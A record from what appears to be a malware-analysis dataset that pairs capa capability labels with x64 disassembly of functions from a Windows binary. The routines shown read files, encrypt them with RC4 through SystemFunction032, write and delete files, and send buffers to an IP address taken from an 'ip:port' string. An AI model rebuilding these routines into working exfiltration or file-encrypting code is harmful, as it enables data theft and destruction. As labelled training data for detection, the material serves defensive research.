joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000104b
Capabilities:
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140003580
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
lea rcx, [0x140019300]
call fcn.1400012c1
mov qword [rbp + 0x238], 0
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
je 0x140003607
mov edx, dword [rbp + 0x254]
lea rcx, str.____WSAStartup_failed:__d_n
call fcn.140001159
xor eax, eax
jmp 0x14000378e
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x14000364c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Socket_creation_failed:__ld_n
call fcn.140001159
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000378e
mov eax, 2
mov word [rbp + 0x1e8], ax
movzx ecx, word [rbp + 0x418]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
lea r8, [rbp + 0x1ec]
mov rdx, qword [rbp + 0x410]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400036d2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Connection_failed:__ld_n
call fcn.140001159
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000378e
mov eax, dword [rbp + 0x428]
cmp qword [rbp + 0x238], rax
jae 0x140003776
mov eax, dword [rbp + 0x428]
sub rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x420]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0xffffffff
jne 0x140003756
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Send_failed:__ld_n
call fcn.140001159
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000378e
movsxd rax, dword [rbp + 0x214]
mov rcx, qword [rbp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x238], rax
jmp 0x1400036d2
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400101b0]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x140001136
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140002db0
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x140019233]
call fcn.1400012c1
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140002e86
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001159
xor eax, eax
jmp 0x140002e8b
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14000fdf0]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x140001195
Capabilities:
Terminate process

Disassembly:
jmp 0x140009c70
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400011e5
Capabilities:
Parse pe header

Disassembly:
jmp 0x140008440
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140008460
xor al, al
jmp 0x1400084e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140008473
xor al, al
jmp 0x1400084e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14000849d
xor al, al
jmp 0x1400084e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400084b1
xor al, al
jmp 0x1400084e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400084c3
xor al, al
jmp 0x1400084e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400084df
xor al, al
jmp 0x1400084e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001230
Capabilities:
Delete file

Disassembly:
jmp 0x1400030d0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140019300]
call fcn.1400012c1
lea rdx, [0x1400103b4]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14000317d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003152
cmp dword [rbp + 0x108], 0
je 0x140003149
mov rdx, qword [rbp + 0x100]
lea rcx, str._i___s_Deleted._n
call fcn.140001159
mov eax, 1
jmp 0x14000317f
cmp dword [rbp + 0x108], 0
je 0x140003177
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x100]
lea rcx, str.____Error_deleting_file__s:__d_n
call fcn.140001159
xor eax, eax
jmp 0x14000317f
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140001299
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003840
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x140019300]
call fcn.1400012c1
lea rdx, [0x140010264]
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400038b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001159
jmp 0x140003945
mov rax, qword [rbp + 0x168]
add rax, 2
xor edx, edx
mov ecx, 3
div rcx
lea rax, [rax*4 + 1]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x68], rax
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x160]
call fcn.140001307
mov rax, qword [rbp + 0x48]
dec rax
mov r9, qword [rbp + 8]
mov r8, rax
mov edx, 1
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
cmp dword [rbp + 0x178], 0
je 0x140003945
mov rdx, qword [rbp + 0x170]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001159
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x1400012a3
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003970
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140019300]
call fcn.1400012c1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400039f0
xor eax, eax
jmp 0x140003a93
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140003a22
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001159
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003a93
mov r8, qword [rbp + 0x148]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call sub.VCRUNTIME140D.dll_memset
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x148]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140003a84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x140]
lea rcx, str.____Failed_to_write_to_file__s:__d_n
call fcn.140001159
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003a93
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140010050]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140002db0
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140002db0
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x140019233]
call fcn.1400012c1
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140002e86
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001159
xor eax, eax
jmp 0x140002e8b
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14000fdf0]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400030d0
Capabilities:
Delete file

Disassembly:
jmp 0x1400030d0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x140019300]
call fcn.1400012c1
lea rdx, [0x1400103b4]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14000317d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140003152
cmp dword [rbp + 0x108], 0
je 0x140003149
mov rdx, qword [rbp + 0x100]
lea rcx, str._i___s_Deleted._n
call fcn.140001159
mov eax, 1
jmp 0x14000317f
cmp dword [rbp + 0x108], 0
je 0x140003177
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x100]
lea rcx, str.____Error_deleting_file__s:__d_n
call fcn.140001159
xor eax, eax
jmp 0x14000317f
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400031c0
Capabilities:
Convert ip address from string

Disassembly:
jmp 0x1400031c0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140019300]
call fcn.1400012c1
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ucrtbased.dll__strdup]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140003233
lea rcx, str.strdup_failed
call qword [sym.imp.ucrtbased.dll_perror]
xor eax, eax
jmp 0x14000330f
mov edx, 0x3a
mov rcx, qword [rbp + 8]
call sub.VCRUNTIME140D.dll_strchr
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x1400032f2
mov rax, qword [rbp + 0x28]
mov byte [rax], 0
mov r8d, send
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.ucrtbased.dll_strncpy]
mov eax, 1
imul rax, rax, 0xf
mov rcx, qword [rbp + 0x168]
mov byte [rcx + rax], 0
mov rax, qword [rbp + 0x28]
inc rax
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_atoi]
mov rcx, qword [rbp + 0x170]
mov dword [rcx], eax
lea r8, [rbp + 0x44]
mov rdx, qword [rbp + 0x168]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x1400032e2
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
shl rax, 0x10
mov rcx, qword [rbp + 0x170]
movsxd rcx, dword [rcx]
or rax, rcx
mov rcx, qword [rbp + 0x178]
mov qword [rcx], rax
jmp 0x1400032f0
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x14000330f
jmp 0x140003300
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
jmp 0x14000330f
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140010240]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140003390
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x140003390
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x140019300]
call fcn.1400012c1
mov qword [rbp + 8], 0xffffffffffffffff
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14000342b
xor eax, eax
jmp 0x1400034fb
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x138], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x138]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x24]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x68]
call sub.VCRUNTIME140D.dll_memset
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400034b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x160]
lea rcx, str.____Error_Rading_File__s:__d
call fcn.140001159
mov rax, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x68]
mov qword [rax], rcx
mov rax, qword [rbp + 0x170]
mov ecx, dword [rbp + 0x44]
mov dword [rax], ecx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x168]
cmp qword [rax], 0
je 0x1400034f2
mov rax, qword [rbp + 0x170]
mov eax, dword [rax]
test rax, rax
jne 0x1400034f6
xor eax, eax
jmp 0x1400034fb
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400100e0]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140003580
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library
Send data
Send data on socket

Disassembly:
jmp 0x140003580
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x418
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x438]
lea rcx, [0x140019300]
call fcn.1400012c1
mov qword [rbp + 0x238], 0
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
je 0x140003607
mov edx, dword [rbp + 0x254]
lea rcx, str.____WSAStartup_failed:__d_n
call fcn.140001159
xor eax, eax
jmp 0x14000378e
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x14000364c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Socket_creation_failed:__ld_n
call fcn.140001159
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000378e
mov eax, 2
mov word [rbp + 0x1e8], ax
movzx ecx, word [rbp + 0x418]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
lea r8, [rbp + 0x1ec]
mov rdx, qword [rbp + 0x410]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, send
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400036d2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Connection_failed:__ld_n
call fcn.140001159
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000378e
mov eax, dword [rbp + 0x428]
cmp qword [rbp + 0x238], rax
jae 0x140003776
mov eax, dword [rbp + 0x428]
sub rax, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x420]
add rdx, rcx
mov rcx, rdx
xor r9d, r9d
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0xffffffff
jne 0x140003756
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.____Send_failed:__ld_n
call fcn.140001159
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000378e
movsxd rax, dword [rbp + 0x214]
mov rcx, qword [rbp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x238], rax
jmp 0x1400036d2
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400101b0]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret
Function at 0x140003840
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003840
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x140019300]
call fcn.1400012c1
lea rdx, [0x140010264]
mov rcx, qword [rbp + 0x170]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400038b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x170]
lea rcx, str.____Error_opening_file__s:__ld_n
call fcn.140001159
jmp 0x140003945
mov rax, qword [rbp + 0x168]
add rax, 2
xor edx, edx
mov ecx, 3
div rcx
lea rax, [rax*4 + 1]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x68], rax
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x160]
call fcn.140001307
mov rax, qword [rbp + 0x48]
dec rax
mov r9, qword [rbp + 8]
mov r8, rax
mov edx, 1
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_fclose]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ucrtbased.dll_free]
cmp dword [rbp + 0x178], 0
je 0x140003945
mov rdx, qword [rbp + 0x170]
lea rcx, str._i___s_Written_to_Disk._n
call fcn.140001159
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140003970
Capabilities:
Write file on windows

Disassembly:
jmp 0x140003970
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x140019300]
call fcn.1400012c1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400039f0
xor eax, eax
jmp 0x140003a93
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140003a22
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001159
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003a93
mov r8, qword [rbp + 0x148]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call sub.VCRUNTIME140D.dll_memset
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x148]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140003a84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x140]
lea rcx, str.____Failed_to_write_to_file__s:__d_n
call fcn.140001159
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140003a93
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140010050]
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret